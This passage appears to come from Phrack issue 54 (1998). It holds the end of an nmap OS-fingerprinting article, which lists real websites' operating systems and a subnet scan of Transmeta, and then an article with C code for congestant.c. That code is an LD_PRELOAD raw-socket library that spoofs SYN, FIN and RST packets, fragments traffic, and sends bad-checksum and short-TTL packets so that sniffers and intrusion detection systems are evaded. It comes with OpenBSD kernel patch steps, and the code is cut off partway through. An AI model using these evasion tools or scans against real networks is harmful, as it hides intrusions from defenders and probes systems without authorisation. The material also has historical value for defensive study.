Here is the fun result of all our effort. We can now take random Internet sites and determine what OS they are using. A lot of these people have eliminated telnet banners, etc. to keep this information private. But this is of no use with our new fingerprinter! Also this is a good way to expose the <your favorite crap OS> users as the lamers that they are :)!

The command used in these examples was: nmap ‑sS ‑p 80 ‑O ‑v <host>

Also note that most of these scans were done on 10/18/98. Some of these folks may have upgraded/changed servers since then.

Note that I do not like every site on here.

# "Hacker" sites or (in a couple cases) sites that think they are www.l0pht.com => OpenBSD 2.2 ‑ 2.4

www.insecure.org => Linux 2.0.31‑34

www.rhino9.ml.org => Windows 95/NT # No comment :) www.technotronic.com => Linux 2.0.31‑34

www.nmrc.org => FreeBSD 2.2.6 ‑ 3.0

www.cultdeadcow.com => OpenBSD 2.2 ‑ 2.4

www.kevinmitnick.com => Linux 2.0.31‑34 # Free Kevin! www.2600.com => FreeBSD 2.2.6 ‑ 3.0 Beta www.antionline.com => FreeBSD 2.2.6 ‑ 3.0 Beta

www.rootshell.com => Linux 2.0.35 # Changed to OpenBSD after

# they got owned.

# Security vendors, consultants, etc.

www.repsec.com => Linux 2.0.35

www.iss.net => Linux 2.0.31‑34

www.checkpoint.com => Solaris 2.5 ‑ 2.51

www.infowar.com => Win95/NT

# Vendor loyalty to their OS

www.li.org => Linux 2.0.35 # Linux International www.redhat.com => Linux 2.0.31‑34 # I wonder what distribution :) www.debian.org => Linux 2.0.35

www.linux.org => Linux 2.1.122 ‑ 2.1.126

www.sgi.com => IRIX 6.2 ‑ 6.4

www.netbsd.org => NetBSD 1.3X

www.openbsd.org => Solaris 2.6 # Ahem :)

www.freebsd.org => FreeBSD 2.2.6‑3.0 Beta

# Ivy league

www.harvard.edu => Solaris 2.6

www.yale.edu => Solaris 2.5 ‑ 2.51

www.caltech.edu => SunOS 4.1.2‑4.1.4 # Hello! This is the 90's :) www.stanford.edu => Solaris 2.6

www.mit.edu => Solaris 2.5 ‑ 2.51 # Coincidence that so many good

schools seem to like Sun?

Perhaps it is the 40%

edu discount :)

www.berkeley.edu => UNIX OSF1 V 4.0,4.0B,4.0D

www.oxford.edu => Linux 2.0.33‑34 # Rock on!

# Lamer sites

www.aol.com => IRIX 6.2 ‑ 6.4 # No wonder they are so insecure :) www.happyhacker.org => OpenBSD 2.2‑2.4 # Sick of being owned, Carolyn?

Even the most secure OS is

useless in the hands of an

incompetent admin.

# Misc

www.lwn.net => Linux 2.0.31‑34 # This Linux news site rocks! www.slashdot.org => Linux 2.1.122 ‑ 2.1.126

www.whitehouse.gov => IRIX 5.3

sunsite.unc.edu => Solaris 2.6

Notes: In their security white paper, Microsoft said about their lax security: "this assumption has changed over the years as Windows NT gains popularity largely because of its security features.". Hmm, from where I stand it doesn't look like Windows is very popular among the security community :). I only see 2 Windows boxes from the whole group, and Windows is _easy_ for nmap to distinguish since it is so broken (standards wise).

And of course, there is one more site we must check. This is the web site of the ultra‑secret Transmeta corporation. Interestingly the company was funded largely by Paul Allen of Microsoft, but it employs Linus Torvalds. So do they stick with Paul and run NT or do they side with the rebels and join the Linux revolution? Let us see:

We use the command:

nmap ‑sS ‑F ‑o transmeta.log ‑v ‑O www.transmeta.com/24

This says SYN scan for known ports (from /etc/services), log the results to 'transmeta.log', be verbose about it, do an OS scan, and scan the class 'C' where www.transmeta.com resides. Here is the gist of the results:

neon‑best.transmeta.com (206.184.214.10) => Linux 2.0.33‑34 www.transmeta.com (206.184.214.11) => Linux 2.0.30 neosilicon.transmeta.com (206.184.214.14) => Linux 2.0.33‑34 ssl.transmeta.com (206.184.214.15) => Linux unknown version linux.kernel.org (206.184.214.34) => Linux 2.0.35 www.linuxbase.org (206.184.214.35) => Linux 2.0.35 ( possibly the same

machine as above )

Well, I think this answers our question pretty clearly :).

‑‑‑‑[ ACKNOWLEDGEMENTS

The only reason Nmap is currently able to detect so many different operating systems is that many people on the private beta team went to a lot of effort to search out new and exciting boxes to fingerprint! In particular, Jan Koum, van Hauser, Dmess0r, David O'Brien, James W. Abendschan, Solar Designer, Chris Wilson, Stuart Stock, Mea Culpa, Lamont Granquist, Dr. Who, Jordan Ritter, Brett Eldridge, and Pluvius sent in tons of IP addresses of wacky boxes and/or fingerprints of machines not reachable through the Internet.

Thanks to Richard Stallman for writing GNU Emacs. This article would not be so well word‑wrapped if I was using vi or cat and ^D.

Questions and comments can be sent to fyodor@DHP.com (if that doesn't work for some reason, use fyodor@insecure.org). Nmap can be obtained from http://www.insecure.org/nmap.

Defeating Sniffers and Intrusion Detection Systems

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Defeating Sniffers and Intrusion Detection Systems

‑‑‑‑‑‑‑‑[ horizon <jmcdonal@unf.edu>

‑‑‑‑[ Overview

The purpose of this article is to demonstrate some techniques that can be used to defeat sniffers and intrusion detection systems. This article focuses mainly on confusing your average "hacker" sniffer, with some rough coverage of Intrusion Detection Systems (IDS). However, the methods and code present in this article should be a good starting point for getting your packets past ID systems. For an intense examination of attack techniques against IDS, check out: http://www.nai.com/products/security/advisory/papers/ids‑html/doc000.asp.

There are a large number of effective techniques other than those that are implemented in this article. I have chosen a few generic techniques that hopefully can be easily expanded into more targeted and complex attacks. After implementing these attacks, I have gone through and attempted to correlate them to the attacks described in the NAI paper, where appropriate.

The root cause of the flaws discussed in this article is that most sniffers and intrusion detection systems do not have as robust of a TCP/IP implementation as the machines that are actually communicating on the network. Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI, or SOCK_PACKET. The sniffer receives the entire datalink level frame, and gets no contextual clues from the kernel as to how that frame will be interpreted. Thus, the sniffer has the job of interpreting the entire packet and guessing how the kernel of the receiving machine is going to process it. Luckily, 95% of the time, the packet is going to be sane, and the kernel TCP/IP stack is going to behave rather predictably. It is the other 5% of the time that we will be focusing on.

This article is divided into three sections: an overview of the techniques employed, a description of the implementation and usage, and the code. Where possible, the code has been implemented in a somewhat portable format: a shared library that wraps around connect(), which you can use LD_PRELOAD to "install" into your normal client programs. This shared library uses raw sockets to create TCP packets, which should work on most unixes. However, some of the attacks described are too complex to implement with raw sockets, so simple OpenBSD kernel patches are supplied. I am working on complementary kernel patches for Linux, which will be placed on the rhino9 web site when they are complete. The rhino9 web site is at: http://www.rhino9.ml.org/

‑‑‑‑[ Section 1. The Tricks

The first set of tricks are solely designed to fool most sniffers, and will most likely have no effect on a decent ID system. The second set of tricks should be advanced enough to start to have an impact on the effectiveness of an intrusion detection system.

Sniffer Specific Attacks

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1. Sniffer Design ‑ One Host Design

The first technique is extremely simple, and takes advantage of the design of many sniffers. Several hacker sniffers are designed to follow one connection, and ignore everything else until that connection is closed or reaches some internal time out. Sniffers designed in this fashion have a very low profile, as far as memory usage and CPU time. However, they obviously miss a great deal of the data that can be obtained. This gives us an easy way of preventing our packets from being captured: before our connection, we send a spoofed SYN packet from a non‑existent host to the same port that we are attempting to connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it will set up its internal state to monitor all packets related to that connection. Then, when we make our connection, the sniffer ignores our SYN because it is watching the fake host. When the host later times out, our connection will not be logged because our initial SYN packet has long been sent.

2. Sniffer Design ‑ IP options

The next technique depends on uninformed coding practices within sniffers. If you look at the code for some of the hacker sniffers, namely ones based‑off of the original linsniffer, you will see that they have a structure that looks like this:

struct etherpacket

{

etherheader eh;

ipheader ip;

tcpheader tcp;

char data[8192];

};

The sniffer will read a packet off of the datalink interface, and then slam it into that structure so it can analyze it easily. This should work fine most of the time. However, this approach makes a lot of assumptions: it assumes that the size of the IP header is 20 bytes, and it also assumes that the size of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of options, then the sniffer is going to look inside your IP options for the TCP header, and completely misinterpret your packet. If the sniffer handles your IP header correctly, but incorrectly handles the TCP header, that doesn't buy you quite as much. In that situation, you get an extra 40 bytes of data that the sniffer will log. I have implemented mandatory IP options in the OpenBSD kernel such that it is manageable by a sysctl.

3. Insertion ‑ FIN and RST Spoofing ‑ Invalid Sequence Numbers

This technique takes advantage of the fact that your typical sniffer is not going to keep track of the specific details of the ongoing connection. In a TCP connection, sequence numbers are used as a control mechanism for determining how much data has been sent, and the correct order for the data that has been sent. Most sniffers do not keep track of the sequence numbers in an ongoing TCP connection. This allows us to insert packets into the data stream that the kernel will disregard, but the sniffer will interpret as valid. The first technique we will use based on this is spoofing FIN and RST packets. FIN and RST are control flags inside the TCP packets, a FIN indicating the initiation of a shutdown sequence for one side of a connection, and an RST indicating that a connection should be immediately torn down. If we send a packet with a FIN or RST, with a sequence number that is far off of the current sequence number expected by the kernel, then the kernel will disregard it. However, the sniffer will likely regard this as a legitimate connection close request or connection reset, and cease logging.

It is interesting to note that certain implementations of TCP stacks do not check the sequence numbers properly upon receipt of an RST. This obviously provides a large potential for a denial of service attack. Specifically, I have noticed that Digital Unix 4.0d will tear down connections without checking the sequence numbers on RST packets.

4. Insertion ‑ Data Spoofing ‑ Invalid Sequence Numbers

This technique is a variation of the previous technique, which takes advantage of the fact that a typical sniffer will not follow the sequence numbers of a TCP connection. A lot of sniffers have a certain data capture length, such that they will stop logging a connection after that amount of data has been captured. If we send a large amount of data after the connection initiation, with completely wrong sequence numbers, our packets will be dropped by the kernel. However, the sniffer will potentially log all of that data as valid information. This is roughly an implementation of the "tcp‑7" attack mentioned in the NAI paper.

IDS / Sniffer Attacks:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The above techniques work suprisingly well for most sniffers, but they are not going to have much of an impact on most IDS. The next six techniques are a bit more complicated, but represent good starting points for getting past the more complex network monitors.

5. Evasion ‑ IP Fragmentation

IP fragmentation allows packets to be split over multiple datagrams in order to fit packets within the maximum transmission unit of the physical network interface. Typically, TCP is aware of the mtu, and doesn't send packets that need to be fragmented at an IP level. We can use this to our advantage to try to confuse sniffers and IDS. There are several potential attacks involving fragmentation, but we will only cover a simple one. We can send a TCP packet split over several IP datagrams such that the first 8 bytes of the TCP header are in a single packet, and the rest of the data is sent in 32 byte packets. This actually buys us a lot in our ability to fool a network analysis tool. First of all, the sniffer/IDS will have to be capable of doing fragment reassembly. Second of all, it will have to be capable of dealing with fragmented TCP headers. It turns out that this simple technique is more than sufficient to get your packets past most datalink level network monitors. This an another attack that I chose to implement as a sysctl in the OpenBSD kernel.

This technique is very powerful in it's ability to get past most sniffers completely. However, it requires some experimentation because you have to make sure that your packets will get past all of the filters between you and the target. Certain packet filters wisely drop fragmented packets that look like they are going to rewrite the UDP/TCP header, or that look like they are unduly small. The implementation in this article provides a decent deal of control over the size of the fragments that your machine will output. This will allow you to implement the "frag‑1" and "frag‑2" attacks described in the NAI paper.

6. Desynchronization ‑ Post Connection SYN

If we are attempting to fool an intelligent sniffer, or an ID system, then we can be pretty certain that it will keep track of the TCP sequence numbers. For this technique, we will attempt to desynchronize the sniffer/IDS from the actual sequence numbers that the kernel is honoring. We will implement this attack by sending a post connection SYN packet in our data stream, which will have divergent sequence numbers, but otherwise meet all of the necessary criteria to be accepted by our target host. However, the target host will ignore this SYN packet, because it references an already established connection. The intent of this attack is to get the sniffer/IDS to resynchronize its notion of the sequence numbers to the new SYN packet. It will then ignore any data that is a legitimate part of the original stream, because it will be awaiting a different sequence number. If we succeed in resynchronizing the IDS with a SYN packet, we can then send an RST packet with the new sequence number and close down its notion of the connection. This roughly corresponds with the "tcbc‑2" attack mentioned in the NAI paper.

7. Desynchronization ‑ Pre Connection SYN

Another attack we perform which is along this theme is to send an initial SYN before the real connection, with an invalid TCP checksum. If the sniffer is smart enough to ignore subsequent SYNs in a connection, but not smart enough to check the TCP checksum, then this attack will synchronize the sniffer/IDS to a bogus sequence number before the real connection occurs. This attack calls bind to get the kernel to assign a local port to the socket before calling connect.

8. Insertion ‑ FIN and RST Spoofing ‑ TCP checksum validation

This technique is a variation of the FIN/RST spoofing technique mentioned above. However, this time we will attempt to send FIN and RST packets that should legitimately close the connection, with one notable exception: the TCP checksum will be invalid. These packets will be immediately dropped by the kernel, but potentially honored by the IDS/sniffer. This attack requires kernel support in order to determine the correct sequence numbers to use on the packet. This is similar to the "insert‑2" attack in the NAI paper.

9. Insertion ‑ Invalid Data ‑ TCP checksum validation

This technique is a variation of the previous data insertion attack, with the exception that we will be inserting data with the correct sequence numbers, but incorrect TCP checksums. This will serve to confuse and desynchronize sniffers and ID by feeding it a lot of data that will not be honored by the participating kernels. This attack requires kernel support to get the correct sequence numbers for the outgoing packets. This attack is also similar to the "insert‑2" attack described in the NAI paper.

10. Insertion ‑ FIN and RST Spoofing ‑ Short TTL

If the IDS or sniffer is sitting on the network such that it is one or more hops away from the host it is monitoring, then we can do a simple attack, utilizing the TTL field of the IP packet. For this attack, we determine the lowest TTL that can be used to reach the target host, and then subtract one. This allows us to send packets that will not reach the target host, but that have the potential of reaching the IDS or sniffer. In this attack, we send a couple of FIN packets, and a couple of RST packets.

11. Insertion ‑ Data Spoofing ‑ Short TTL

For our final attack, we will send 8k of data with the correct sequence numbers and TCP checksums. However, the TTL will be one hop too short to reach our target host.

Summary

‑‑‑‑‑‑‑

All of these attacks work in concert to confuse sniffers and IDS. Here is a breakdown of the order in which we perform them:

Attack 1 ‑ One Host Sniffer Design.

FAKEHOST ‑> TARGET SYN

Attack 7 ‑ Pre‑connect Desynchronization Attempt.

REALHOST ‑> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number) Kernel Activity

REALHOST ‑> TARGET SYN (This is the real SYN, sent by our kernel) Attack 6 ‑ Post‑connect Desynchronization Attempt.

REALHOST ‑> TARGET SYN (Arbitrary Seq Number X)

REALHOST ‑> TARGET SYN (Seq Number X+1)

Attack 4 ‑ Data Spoofing ‑ Invalid Sequence Numbers

REALHOST ‑> TARGET DATA x 8 (1024 bytes, Seq Number X+2)

Attack 5 ‑ FIN/RST Spoofing ‑ Invalid Sequence Numbers

REALHOST ‑> TARGET FIN (Seq Number X+2+8192)

REALHOST ‑> TARGET FIN (Seq Number X+3+8192)

REALHOST ‑> TARGET RST (Seq Number X+4+8192)

REALHOST ‑> TARGET RST (Seq Number X+5+8192)

Attack 11 ‑ Data Spoofing ‑ TTL

* REALHOST ‑> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y) Attack 10 ‑ FIN/RST Spoofing ‑ TTL

* REALHOST ‑> TARGET FIN (Short TTL, Seq Number Y+8192)

* REALHOST ‑> TARGET FIN (Short TTL, Seq Number Y+1+8192)

* REALHOST ‑> TARGET RST (Short TTL, Seq Number Y+2+8192)

* REALHOST ‑> TARGET RST (Short TTL, Seq Number Y+3+8192)

Attack 9 ‑ Data Spoofing ‑ Checksum

* REALHOST ‑> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z) Attack 8 ‑ FIN/RST Spoofing ‑ Checksum

* REALHOST ‑> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)

* REALHOST ‑> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)

* REALHOST ‑> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)

* REALHOST ‑> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)

The attacks with an asterisk require kernel support to determine the correct sequence numbers. Arguably, this could be done without kernel support, utilizing a datalink level sniffer, but it would make the code significantly more complex, because it would have to reassemble fragments, and do several validation checks in order to follow the real connection. The user can choose which of these attacks he/she would like to perform, and the sequence numbers will adjust themselves accordingly.

‑‑‑‑[ Section 2 ‑ Implementation and Usage

My primary goal when implementing these techniques was to keep the changes necessary to normal system usage as slight as possible. I had to divide the techniques into two categories: attacks that can be performed from user context, and attacks that have to be augmented by the kernel in some fashion. My secondary goal was to make the userland set of attacks reasonably portable to other Unix environments, besides OpenBSD and Linux.

The userland attacks are implemented using shared library redirection, an extremely useful technique borrowed from halflife's P51‑08 article. The first program listed below, congestant.c, is a shared library that the user requests the loader to link first. This is done with the LD_PRELOAD environment variable on several unixes. For more information about this technique, refer to the original article by halflife.

The shared library defines the connect symbol, thus pre‑empting the normal connect function from libc (or libsocket) during the loading phase of program execution. Thus, you should be able to use these techniques with most any client program that utilizes normal BSD socket functionality. OpenBSD does not let us do shared library redirection (when you attempt to dlsym the old symbol out of libc, it gives you a pointer to the function you had pre‑loaded). However, this is not a problem because we can just call the connect() syscall directly.

This shared library has some definite drawbacks, but you get what you pay for. It will not work correctly with programs that do non‑blocking connect calls, or RAW or datalink level access. Furthermore, it is designed for use on TCP sockets, and without kernel support to determine the type of a socket, it will attempt the TCP attacks on UDP connections. This support is currently only implemented under OpenBSD. However, this isn't that big of a drawback because it just sends a few packets that get ignored. Another drawback to the shared library is that it picks a sequence number out of the blue to represent the "wrong" sequence number. Due to this fact, there is a very small possibility that the shared library will pick a legitimate sequence number, and not desynchronize the stream. This, however, is extremely unlikely.

A Makefile accompanies the shared library. Edit it to fit your host, and then go into the source file and make it point to your copy of libc.so, and you should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6. You can use the library like this:

# export LD_PRELOAD=./congestion.so

# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"

# telnet www.blah.com

The library will "wrap" around any connects in the programs you run from that point on, and provide you some protection behind the scenes. You can control the program by defining the CONGCONF environment variable. You give it a comma delimited list of attacks, which break out like this:

DEBUG: Show debugging information

OH: Do the One Host Design Attack

SC: Spoof a SYN prior to the connect with a bad TCP checksum.

SS: Spoof a SYN after the connection in a desynchronization attempt. DS: Insert 8k of data with bad sequence numbers.

FS: Spoof FIN packets with bad sequence numbers.

RS: Spoof RST packets with bad sequence numbers.

DC: Insert 8k of data with bad TCP checksums. (needs kernel support) FC: Spoof FIN packets with bad TCP checksums. (needs kernel support) RC: Spoof RST packets with bad TCP checksums. (needs kernel support) DT: Insert 8k of data with short TTLs. (needs kernel support)

FT: Spoof FIN packets with short TTLs. (needs kernel support)

RT: Spoof RST packets with short TTLs. (needs kernel support)

Kernel Support

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OpenBSD kernel patches are provided to facilitate several of the techniques described above. These patches have been made against the 2.4 source distribution. I have added three sysctl variables to the kernel, and one new system call. The three sysctl variables are:

net.inet.ip.fraghackhead (integer)

net.inet.ip.fraghackbody (integer)

net.inet.ip.optionshack (integer)

The new system call is getsockinfo(), and it is system call number 242.

The three sysctl's can be used to modify the characteristics of every outgoing IP packet coming from the machine. The fraghackhead variable specifies a new mtu, in bytes, for outgoing IP datagrams. fraghackhead is applied to every outgoing datagram, unless fraghackbody is also defined. In that case, the mtu for the first fragment of a packet is read from fraghackhead, and the mtu for every consecutive fragment is read from fraghackbody. This allows you to force your machine into fragmenting all of its traffic, to any size that you specify. The reason it is divided into two variables is so that you can have the first fragment contain the entire TCP/UDP header, and have the following fragments be 8 or 16 bytes. This way, you can get your fragmented packets past certain filtering routers that block any sort of potential header rewriting. The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP options on every outgoing packet.

I implemented these controls such that they do not have any effect on packets sent through raw sockets. The implication of this is that our attacking packets will not be fragmented or contain IP options.

Using these sysctl's is pretty simple: for the fraghack variables, you specify a number of bytes (or 0 to turn them off), and for the optionshack, you either set it to 0 or 1. Here is an example use:

# sysctl ‑w net.inet.ip.optionshack=1 # 40 bytes added to header # sysctl ‑w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header # sysctl ‑w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag

It is very important to note that you should be careful with the fraghack options. When you specify extreme fragmentation, you quickly eat up the memory that the kernel has available for storing packet headers. If memory usage is too high, you will notice sendto() returning a no buffer space error. If you stick to programs like telnet or ssh, that use small packets, then you should be fine with 28 or 28/36. However, if you use programs that use large packets like ftp or rcp, then you should bump fraghackbody up to a higher number, such as 200.

The system call, getsockinfo, is needed by the userland program to determine if a socket is a TCP socket, and to query the kernel for the next sequence number that it expects to send on the next outgoing packet, as well as the next sequence number it expects to receive from it's peer. This allows the userland program to implement attacks based on having a correct sequence number, but some other flaw in the packet such as a short TTL or bad TCP checksum.

Kernel Patch Installation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Here are the steps I use to install the kernel patches.

Disclaimer: I am not an experienced kernel programmer, so don't be too upset if your box gets a little flaky. The testing I've done on my own machines has gone well, but be aware that you really are screwing with critical stuff by installing these patches. You may suffer performance hits, or other such unpleasentries. But hey, you can't have any fun if you don't take any risks. :>

Step 1. Apply the netinet.patch to /usr/src/sys/netinet/

Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it Step 4. Apply kern.patch to /usr/src/sys/kern/

Step 5. cd /usr/src/sys/kern; make

Step 6. Apply sys.patch to /usr/src/sys/sys/

Step 7. cd into your kernel build directory (/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make. Step 8. cp bsd /bsd, reboot, and cross your fingers. :>

‑‑‑‑[ The Code

<++> congestant/Makefile

# OpenBSD

LDPRE=‑Bshareable

LDPOST=

OPTS=‑DKERNELSUPPORT

# Linux

#LDPRE=‑Bshareable

#LDPOST=‑ldl

#OPTS=

# Solaris

#LDPRE=‑G

#LDPOST=‑ldl

#OPTS=‑DBIG_ENDIAN=42 ‑DBYTEORDER=42

congestant.so: congestant.o

ld ${LDPRE} ‑o congestant.so congestant.o ${LDPOST}

congestant.o: congestant.c

gcc ${OPTS} ‑fPIC ‑c congestant.c

clean:

rm ‑f congestant.o congestant.so

<‑‑>

<++> congestant/congestant.c

/*

* congestant.c ‑ demonstration of sniffer/ID defeating techniques *

* by horizon <jmcdonal@unf.edu>

* special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor *

* openbsd doesn't let us do shared lib redirection, so we implement the * connect system call directly. Also, the kernel support for certain attacks * is only implemented in openbsd. When I finish the linux support, it will * be available at http://www.rhino9.ml.org

*

* This whole thing is a conditionally compiling nightmare. :>

* This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1, * Solaris 2.6, Debian Linux, and the glibc Debian Linux

*/

/* The path to our libc. (libsocket under Solaris) */

/* You don't need this if you are running OpenBSD */

/* #define LIB_PATH "/usr/lib/libsocket.so" */

#define LIB_PATH "/lib/libc‑2.0.7.so"

/* #define LIB_PATH "/usr/lib/libc.so" */

/* The source of our initial spoofed SYN in the One Host Design attack */

/* This has to be some host that will survive any outbound packet filters */

#define FAKEHOST "42.42.42.42"

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/uio.h>

#include <sys/stat.h>

#include <string.h>

#include <fcntl.h>

#include <dlfcn.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <sys/syscall.h>

#if __linux__

#include <endian.h>

#endif

#include <errno.h>

struct cong_config

{

int one_host_attack;

int fin_seq;

int rst_seq;

int syn_seq;

int data_seq;

int data_chk;

int fin_chk;

int rst_chk;

int syn_chk;

int data_ttl;

int fin_ttl;

int rst_ttl;

int ttl;

} cong_config;

int cong_init=0;

int cong_debug=0;

long cong_ttl_cache=0;

int cong_ttl=0;

/* If this is not openbsd, then we will use the connect symbol from libc */

/* otherwise, we will use syscall(SYS_connect, ...) */

#ifndef __OpenBSD__

#if __GLIBC__ == 2

int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL; #else

int (*cong_connect)(int, const struct sockaddr *, int)=NULL; #endif

#endif /* not openbsd */

#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));

/* define our own headers so its easier to port. use cong_ to avoid any

* potential symbol name collisions */

struct cong_ip_header

{

unsigned char ip_hl:4, /* header length */

ip_v:4; /* version */

unsigned char ip_tos; /* type of service */

unsigned short ip_len; /* total length */

unsigned short ip_id; /* identification */

unsigned short ip_off; /* fragment offset field */

#define IP_RF 0x8000 /* reserved fragment flag */

#define IP_DF 0x4000 /* dont fragment flag */

#define IP_MF 0x2000 /* more fragments flag */

#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */

unsigned char ip_ttl; /* time to live */

unsigned char ip_p; /* protocol */

unsigned short ip_sum; /* checksum */

unsigned long ip_src, ip_dst; /* source and dest address */

};

struct cong_icmp_header /* this is really an echo */

{

unsigned char icmp_type;

unsigned char icmp_code;

unsigned short icmp_checksum;

unsigned short icmp_id;

unsigned short icmp_seq;

unsigned long icmp_timestamp;

};

struct cong_tcp_header

{

unsigned short th_sport; /* source port */

unsigned short th_dport; /* destination port */

unsigned int th_seq; /* sequence number */

unsigned int th_ack; /* acknowledgement number */

#if BYTE_ORDER == LITTLE_ENDIAN

unsigned char th_x2:4, /* (unused) */

th_off:4; /* data offset */

#endif

#if BYTE_ORDER == BIG_ENDIAN

unsigned char th_off:4, /* data offset */

th_x2:4; /* (unused) */

#endif

unsigned char th_flags;

#define TH_FIN 0x01

#define TH_SYN 0x02

#define TH_RST 0x04

#define TH_PUSH 0x08

#define TH_ACK 0x10

#define TH_URG 0x20

unsigned short th_win; /* window */

unsigned short th_sum; /* checksum */

unsigned short th_urp; /* urgent pointer */

};

struct cong_pseudo_header

{

unsigned long saddr, daddr;

char mbz;

char ptcl;

unsigned short tcpl;

};

int cong_checksum(unsigned short* data, int length)

{

register int nleft=length;

register unsigned short *w = data;

register int sum=0;

unsigned short answer=0;

while (nleft>1)

{

sum+=*w++;

nleft‑=2;

}

if (nleft==1)

{

*(unsigned char *)(&answer) = *(unsigned char *)w; sum+=answer;

}

sum=(sum>>16) + (sum & 0xffff);

sum +=(sum>>16);

answer=~sum;

return answer;

}

#define PHLEN (sizeof (struct cong_pseudo_header))

#define IHLEN (sizeof (struct cong_ip_header))

#define ICMPLEN (sizeof (struct cong_icmp_header))

#define THLEN (sizeof (struct cong_tcp_header))

/* Utility routine for the ttl attack. Sends an icmp echo */

void cong_send_icmp(long source, long dest, int seq, int id, int ttl) {

struct sockaddr_in sa;

int sock,packet_len;

char *pkt;

struct cong_ip_header *ip;

struct cong_icmp_header *icmp;

int on=1;

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

perror("socket");

exit(1);

}

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {

perror("setsockopt: IP_HDRINCL");

exit(1);

}

bzero(&sa,sizeof(struct sockaddr_in));

sa.sin_addr.s_addr = dest;

sa.sin_family = AF_INET;

pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));

ip=(struct cong_ip_header *)pkt;

icmp=(struct cong_icmp_header *)(pkt+IHLEN);

ip‑>ip_v = 4;

ip‑>ip_hl = IHLEN >>2;

ip‑>ip_tos = 0;

ip‑>ip_len = htons(IHLEN+ICMPLEN);

ip‑>ip_id = htons(getpid() & 0xFFFF);

ip‑>ip_off = 0;

ip‑>ip_ttl = ttl;

ip‑>ip_p = IPPROTO_ICMP ;//ICMP

ip‑>ip_sum = 0;

ip‑>ip_src = source;

ip‑>ip_dst = dest;

icmp‑>icmp_type=8;

icmp‑>icmp_seq=htons(seq);

icmp‑>icmp_id=htons(id); icmp‑>icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);

if(sendto(sock,pkt,IHLEN+ICMPLEN,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) {

perror("sendto");

}

free(pkt);

close(sock);

}

/* Our main worker routine. sends a TCP packet */

void cong_send_tcp(long source, long dest,short int sport, short int dport, long seq, long ack, int flags, char *data, int dlen,

int cksum, int ttl)

{

struct sockaddr_in sa;

int sock,packet_len;

char *pkt,*phtcp;

struct cong_pseudo_header *ph;

struct cong_ip_header *ip;

struct cong_tcp_header *tcp;

int on=1;

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

{

perror("socket");

exit(1);

}

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {

perror("setsockopt: IP_HDRINCL");

exit(1);

}

bzero(&sa,sizeof(struct sockaddr_in));

sa.sin_addr.s_addr = dest;

sa.sin_family = AF_INET;

sa.sin_port = dport;

phtcp=calloc((size_t)1,(size_t)(PHLEN+THLEN+dlen)); pkt=calloc((size_t)1,(size_t)(IHLEN+THLEN+dlen));

ph=(struct cong_pseudo_header *)phtcp;

tcp=(struct cong_tcp_header *)(((char *)phtcp)+PHLEN); ip=(struct cong_ip_header *)pkt;

ph‑>saddr=source;

ph‑>daddr=dest;

ph‑>mbz=0;

ph‑>ptcl=IPPROTO_TCP;

ph‑>tcpl=htons(THLEN + dlen);

tcp‑>th_sport=sport;

tcp‑>th_dport=dport;

tcp‑>th_seq=seq;

tcp‑>th_ack=ack;

tcp‑>th_off=THLEN/4;

tcp‑>th_flags=flags;

if (ack) tcp‑>th_flags|=TH_ACK;

tcp‑>th_win=htons(16384);

memcpy(&(phtcp[PHLEN+THLEN]),data,dlen); tcp‑>th_sum=cong_checksum((unsigned short*)phtcp,PHLEN+THLEN+dlen)+cksum;

ip‑>ip_v = 4;

ip‑>ip_hl = IHLEN >>2;

ip‑>ip_tos = 0;

ip‑>ip_len = htons(IHLEN+THLEN+dlen);

ip‑>ip_id = htons(getpid() & 0xFFFF);

ip‑>ip_off = 0;

ip‑>ip_ttl = ttl;

ip‑>ip_p = IPPROTO_TCP ;//TCP

ip‑>ip_sum = 0;

ip‑>ip_src = source;

ip‑>ip_dst = dest;

ip‑>ip_sum = cong_checksum((unsigned short*)ip,IHLEN);

memcpy(((char *)(pkt))+IHLEN,(char *)tcp,THLEN+dlen);

